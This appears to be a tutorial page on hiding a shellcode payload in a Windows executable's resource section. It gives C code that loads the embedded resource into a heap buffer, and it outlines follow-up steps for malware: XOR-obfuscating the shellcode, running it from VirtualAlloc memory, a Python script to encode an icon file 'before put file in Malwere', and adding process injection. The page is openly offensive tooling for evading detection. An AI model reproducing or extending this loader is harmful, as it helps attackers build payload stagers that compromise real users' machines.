Rsrc Placement Payload

1 - First Version Of Code

this code Copy Payload From .rsrc to TmpBuffer Useing "HeapAlloc" Addr in Memory

#include <Windows.h>
#include <stdio.h>
#include "resource.h"

int main() {

    HRSRC   hRsrc        = NULL;
    HGLOBAL hGlobal      = NULL;
    PVOID   pPayloadAddr = NULL;
    SIZE_T  sPayloadSize = NULL;

    hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);
    if (hRsrc == NULL) {
        printf("[!] There is a problem in hRsrc: %d\n", GetLastError());
        return -1;
    }

    hGlobal = LoadResource(NULL, hRsrc);
    if (hGlobal == NULL) {
        printf("[!] There is a problem in LoadResource: %d\n", GetLastError());
        return -1;
    }

    pPayloadAddr = LockResource(hGlobal);
    if (pPayloadAddr == NULL) {
        printf("[!] There is a problem in LockResource: %d\n", GetLastError());
        return -1;
    }

    sPayloadSize = SizeofResource(NULL, hRsrc);
    if (sPayloadSize == 0) {
        printf("[!] There is a problem in sPayloadSize: %d\n", GetLastError());
        return -1;
    }

    PVOID TmpBuffer = HeapAlloc(GetProcessHeap(), 0, sPayloadSize);
    if (TmpBuffer == NULL) {
        printf("[!] There is a problem in HeapAlloc: %d\n", GetLastError());
        return -1;
    }

    memcpy(TmpBuffer, pPayloadAddr, sPayloadSize);
    printf("[+] Suc To Move Payload From pPayloadAddr to TmpBuffer\n");

    printf("[+] TmpBuffer Addr : 0x%p\n", TmpBuffer);
    printf("[+] PayloadAddr: 0x%p\n", pPayloadAddr);
    printf("[+] PayloadSize: %d\n", sPayloadSize);

    // Free Mem Heap 
    HeapFree(GetProcessHeap(), 0, TmpBuffer);

    printf("[#] Memory freed successfully.\n");
    printf("[#] Press <Enter> to quit...");
    getchar();

    return 0;
}

2 - Second Version Of Code

We Can Do SomeThing

1

Xor Shell Code

We Can Xor Shell Code instead of Run Shell Code Directly

2

We Can Use VirtualAlloc Function

This Function To Allocate A memory and Execute it

this code Copy Payload From .rsrc to TmpBuffer Useing "VirtualAlloc" Addr in Memory And it Can Execute it :)

Let's Explane the Code :)

1 - Xor Shell Code

2- This Is Xor Shell Code with Some Keys :

3 - Python Code To Edit Calc.ico File To Xor it Before Put File in Malwere

Now We Can Add Proc Injection :)

Why We Used malloc First

  1. Understanding the Resource Memory:

    • When you load a resource using LoadResource and LockResource, the data is stored in a read-only memory section of your program. This is because resources (like your payload) are typically embedded in the executable file and loaded into memory as part of the program's initialization.

    • Attempting to modify this memory (e.g., by applying XOR decryption) will result in an Access Violation (0xC0000005) because the memory is protected and not writable.

  2. The Problem with Directly Using pPayloadAddr:

    • pPayloadAddr points to the memory location of the resource, which is read-only.

    • If you try to modify this memory directly (e.g., DecodeXorEncryption(pPayloadAddr, ...)), the program will crash because you're trying to write to a protected memory region.

  3. Why malloc is Necessary:

    • malloc allocates a new block of memory in the heap, which is writable by default.

    • By copying the resource data (pPayloadAddr) into this newly allocated memory (pWritablePayload), you create a writable copy of the payload.

    • Now, you can safely modify this copy (e.g., apply XOR decryption) without causing an Access Violation.

Last updated